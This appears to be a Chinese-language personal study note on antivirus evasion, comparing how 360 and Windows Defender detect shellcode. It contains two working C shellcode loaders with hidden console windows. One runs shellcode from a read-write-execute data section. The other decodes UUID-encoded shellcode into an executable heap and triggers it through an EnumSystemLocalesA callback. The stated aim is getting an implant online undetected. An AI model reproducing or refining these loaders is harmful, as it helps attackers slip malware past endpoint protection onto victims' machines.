免杀学习记录

学习免杀过程中的一些记录

360会查杀hello world程序??

​ 当你的样本做好了, shellcode处理了, 加载器的代码也做了优化, 但是被杀软一扫描还是静态报毒, 很有可能是因为exe相关的操作需要进行处理。

​ 第一个就是 编译器/编译参数 因为有些杀软宁可错杀1000也不放过一个, 所以针对一些特定的编译器/编译参数, 即使你是输出 hello world, 也是会报毒的, 或者你当前程序没有数字签名就报毒,以及没有详细的版本信息就报毒,那么我们可以通过控制变量法对比查杀效果, 进而总结出来杀软的查杀态度。

360会默认查杀使用MT选项的exe

1.MT选项:链接lib版的C++运行库集成到程序中,不需要dll,因此程序会变大

2.MD选项:使用DLL版的C++运行库,这样程序体积较小,但 缺点电脑上没有对应DLL时无法运行

不同杀软的查杀细节

WindowsDefender&&360

就下面这段代码,使用新增数据段执行shellcode:360杀毒没有发现问题,WindowsDefender可以查杀,删除shellcode可以发现WDF不再查杀,说明360对shellcode的查杀力度不强

1
2
3
4
5
6
7
8
9
10
#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗口
#pragma data_seg("vdata")
unsigned char sc[] = "shellcode";//\xe8\xdf\x04\x00 ....
#pragma data_seg()
#pragma comment(linker,"/SECTION:vdata,RWE")
int main() {
((void(*)()) & sc)();
}

既然对shellcode查杀厉害,那么使用uuid编码shellcode,就会发现WDF不查杀了,可以上线;但是360查杀了,因为使用的是开辟堆执行shellcode,可以得出360对shellcode的查杀稍弱,但对shellcode加载器的查杀非常强。

后续学习了一下,WDF对内存查杀非常厉害

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include<Windows.h>
#include<stdio.h>
#include <Rpc.h>3
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗
#pragma comment(lib, "Rpcrt4.lib")
//用于存放shellcode转的uuid的数组
const char* uuids[] = {"0004dfe8-f800-6e80-0f91-b1b3334600a9"};
void main() {
// 创建一个具有执行权限的堆
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
// 在堆上分配一块可执行内存
void* buffer = HeapAlloc(hc, 0, 0x100000);
// 检查内存分配是否成功,如果失败则输出错误信息并返回0
if (buffer == NULL) {
return;
}
// uuid的处理
PBYTE buffer_backup = (PBYTE)buffer; //定义一个存储uuid转换成的二进制字节序列(shellcode)
int elems = sizeof(uuids) / sizeof(uuids[0]); //获取uuid数组元素的个数

// 遍历uuids数组,并将UUID转换回原始的shellcode,然后存储在buffer_backup地址
for (int i = 0; i < elems; i++) {
RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)buffer_backup);
if (status != RPC_S_OK) {
CloseHandle(buffer);
return;
}
buffer_backup += 16;
}
// 使用 EnumSystemLocalesA 函数调用转换回的 shellcode
EnumSystemLocalesA((LOCALE_ENUMPROCA)buffer, 0);
// 关闭内存句柄
CloseHandle(buffer);
}